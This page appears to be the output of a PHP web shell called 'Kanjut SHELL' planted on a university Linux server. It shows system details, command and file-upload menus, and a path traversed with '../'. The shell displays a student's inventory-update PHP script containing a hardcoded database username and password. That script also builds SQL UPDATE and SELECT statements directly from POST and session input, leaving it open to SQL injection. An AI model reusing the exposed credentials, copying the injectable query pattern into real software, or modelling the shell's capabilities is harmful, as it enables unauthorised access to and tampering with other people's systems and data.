Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.238.204
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/../jeficklin/../wcdavis/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../jeficklin/../wcdavis/www/cqAction2.php
<?php session_start();	?>
<CENTER><H2>Results:</H2></CENTER>
<hr>
<?php
	$username = $_SESSION['username'];
	$storenum = $_SESSION['storenum'];
		
	$q1 = $_POST['quantity1'];
	$q2 = $_POST['quantity2'];
	$sku = $_SESSION['sku'];
	$itemname = $_SESSION['itemname'];

	$target = $_POST['target'];
	$host = 'localhost';
        $user = 'wcdavis';
        $pass = 'cs480';
        $database = 'wcdavis';
        
        $connect = mysql_connect($host, $user, $pass);
        $table_name = 'ITEMS';
        if($connect)
        {       
		MYSQL_select_db($database);
                if(empty($sku))
                {
			$query = "update $table_name set quantity=$q1 where name = '$itemname'";
                        $query2 = "select name,quantity,price,sku from $table_name where name = '$itemname'";
                        echo "$query <p>";
                        $result_id = mysql_query($query, $connect);
			$result_id2 = mysql_query($query2, $connect);
                        if($result_id)
                        {
                                echo "Item $itemname updated.<br>";  
                                print "<font color=blue><table border=1><center>";
                                print "<th>Name<th>Quantity<th>Price<th>SKU";                                                         
                                while($row=mysql_fetch_row($result_id2))
                                {       print "<tr>";
                                        foreach ($row as $field) print "<td>$field</td>";
                                        print "</tr>";
                                }
                                print "</center>";
                                echo "<br><A HREF='UposInven.php'>Return to the inventory management page?</A><p>";
                        }
                        else
                        {
                                echo "Item $itemname not found. <A HREF='uposfindit.php'>Please try again.</A><p>";
                                echo "<A HREF='UposInven.php'>Return to the inventory management page?</A><br>";
                        }
                }
                elseif(empty($itemname))
                {
                	$query = "update $table_name set quantity=$q2 where sku = $sku";
                        $query2 = "select name,quantity,price,sku from $table_name where sku = $sku";
                        echo "$query <p>";
                        $result_id = mysql_query($query, $connect);
			$result_id2 = mysql_query($query2, $connect);
                        if($result_id)
                        {
                                echo "Item $itemname updated.<br>";
                                print "<font color=blue><table border=1><center>";
                                print "<th>Name<th>Quantity<th>Price<th>SKU";
                                while($row=mysql_fetch_row($result_id2))
                                {       print "<tr>";
                                        foreach ($row as $field) print "<td>$field</td>";
                                        print "</tr>";
                                }
                                print "</center>";
                                echo "<br><A HREF='UposInven.php'>Return to the inventory management page?</A><p>";
                        }
                        else
                        {
                                echo "Item $itemname not found. <A HREF='uposfindit.php'>Please try again.</A><p>";
                                echo "<A HREF='UposInven.php'>Return to the inventory management page?</A><br>";
                        }
                }
	mysql_close($connect);        
	}
?>
<A HREF="uposdir.php">Back to the main menu?</A>

Stv3n404 - 2023